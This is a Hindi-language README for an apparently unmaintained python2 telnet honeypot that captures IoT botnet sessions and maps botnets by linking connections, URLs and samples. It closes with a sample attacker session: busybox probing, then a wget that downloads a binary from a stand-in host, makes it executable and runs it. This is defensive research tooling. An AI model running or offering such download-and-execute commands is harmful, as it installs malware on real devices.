
बॉटनेट बाइनरी को पकड़ने के लिए पायथन टेलनेट हनीपॉट
यह प्रोजेक्ट अब समर्थित या विकास में नहीं है। यह python2 पर आधारित है जो 2020 में अपने EOL तक पहुँच चुका है और उन निर्भरताओं का उपयोग करता है जिन्हें समय के साथ स्थापित करना कठिन होता जा रहा है। अपने जोखिम पर उपयोग करें!
'बॉटनेट बाइनरी पकड़ने के लिए Python telnet हनीपॉट'
यह प्रोजेक्ट एक python telnet सर्वर को लागू करता है जो IoT मैलवेयर के लिए हनीपॉट के रूप में कार्य करने का प्रयास करता है, जो इंटरनेट पर telnet सर्वरों पर भयावह रूप से असुरक्षित डिफ़ॉल्ट पासवर्ड के माध्यम से फैलता है।
हनीपॉट एक शेल वातावरण का अनुकरण करके काम करता है, ठीक cowrie (https://github.com/micheloosterhof/cowrie) की तरह।
इस प्रोजेक्ट का उद्देश्य मुख्य रूप से बॉटनेट कनेक्शनों का स्वचालित रूप से विश्लेषण करना और विभिन्न कनेक्शनों और यहां तक कि नेटवर्कों को जोड़कर बॉटनेट का 'मैप' तैयार करना है।
एप्लिकेशन में क्लाइंट/सर्वर आर्किटेक्चर है, जिसमें एक क्लाइंट (वास्तविक हनीपॉट) telnet कनेक्शन स्वीकार करता है और एक सर्वर जो कनेक्शनों के बारे में जानकारी प्राप्त करता है और विश्लेषण करता है।
बैकएंड सर्वर एक HTTP इंटरफ़ेस प्रदान करता है जिसका उपयोग फ्रंटएंड तक पहुँचने के लिए और साथ ही क्लाइंट द्वारा बैकएंड पर नई कनेक्शन जानकारी भेजने के लिए किया जाता है।
बैकएंड स्वचालित रूप से कनेक्शनों को जोड़ने के लिए 2 अलग-अलग तंत्रों का उपयोग करता है:
नेटवर्क खोजे गए बॉटनेट हैं। एक नेटवर्क सभी जुड़े कनेक्शनों, URL और नमूनों का समूह है। URL और नमूने तब जुड़े होते हैं जब उनका उपयोग किसी कनेक्शन में किया जाता है। दो कनेक्शन तब जुड़े होते हैं जब दोनों कनेक्शन एक ही हनीपॉट क्लाइंट द्वारा प्राप्त होते हैं (एकाधिक क्लाइंट समर्थित हैं!) और थोड़े समय (डिफ़ॉल्ट 2 मिनट) में समान क्रेडेंशियल का उपयोग करते हैं या एक ही IP पते से आते हैं।
एकाधिक नेटवर्कों की पहचान उसी प्रकार के मैलवेयर का उपयोग करने के रूप में की जाती है यदि नेटवर्कों के सत्रों के दौरान दर्ज किया गया पाठ अधिकतर समान हो। यह तुलना एक प्रकार के "हैश"-फ़ंक्शन का उपयोग करके की जाती है जो मूल रूप से एक सत्र (या कनेक्शन) को शब्दों के अनुक्रम में अनुवादित करता है और फिर प्रत्येक शब्द को एक बाइट में मैप करता है ताकि बाइट्स के इस परिणामी अनुक्रम को आसानी से खोजा जा सके।
एप्लिकेशन में config.py नाम की एक कॉन्फ़िग फ़ाइल है। स्थानीय और क्लाइंट/सर्वर तैनाती के लिए नमूने शामिल हैं।
बैकएंड को एक SQL-डेटाबेस (डिफ़ॉल्ट sqlite) की आवश्यकता है जो पहली बार चलाने पर आरंभीकृत होता है। पहली बार चलाने से पहले आपको एक व्यवस्थापक खाता उत्पन्न करना चाहिए जिसका उपयोग अधिक उपयोगकर्ता उत्पन्न करने के लिए किया जाता है। व्यवस्थापक खाते का उपयोग सीधे क्लाइंट द्वारा कनेक्शन पोस्ट करने के लिए भी किया जा सकता है। जब एक से अधिक हनीपॉट को जोड़ा जाना है, तो कई उपयोगकर्ता बनाने की अनुशंसा की जाती है।
bash create_config.sh
क्लाइंट और बैकएंड दोनों कॉन्फ़िगरेशन पैरामीटर पढ़ने के लिए config.yaml और config.dist.yaml फ़ाइलों को पढ़ते हैं। config.dist.yaml फ़ाइल में व्यवस्थापक उपयोगकर्ता क्रेडेंशियल को छोड़कर सभी के लिए डिफ़ॉल्ट मान शामिल हैं और ये पैरामीटर config.yaml फ़ाइल में प्रविष्टियों द्वारा अधिलेखित हो जाते हैं।
python backend.py
इस प्रोजेक्ट में एक स्वयं का हनीपॉट शामिल है, हालाँकि क्लाइंट-सर्वर आर्किटेक्चर के कारण, अन्य हनीपॉट का भी उपयोग किया जा सकता है।
python honeypot.py
क्लाइंट को सर्वर चलने के बिना शुरू नहीं किया जा सकता। क्लाइंट के लिए अलग कॉन्फ़िगरेशन का उपयोग करने के लिए आप -c स्विच का उपयोग इस प्रकार कर सकते हैं:
python honeypot.py -c myconfig.yaml
यदि आप केवल हनीपॉट कार्यक्षमता की जाँच करना चाहते हैं, तो आप क्लाइंट को इंटरैक्टिव मोड में शुरू कर सकते हैं:
python honeypot shell
मैंने cowrie के लिए एक आउटपुट प्लगइन लिखा है, जिसमें अंतर्निहित हनीपॉट की तुलना में बहुत अधिक सुविधाएँ हैं। यदि आप इसके बजाय cowrie का उपयोग करना चाहते हैं, तो मेरे फोर्क को देखें जिसमें आउटपुट मॉड्यूल शामिल है: https://github.com/Phype/cowrie ।
सर्वर शुरू होने के बाद, अपने पसंदीदा ब्राउज़र में http://127.0.0.1/ खोलें।
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit


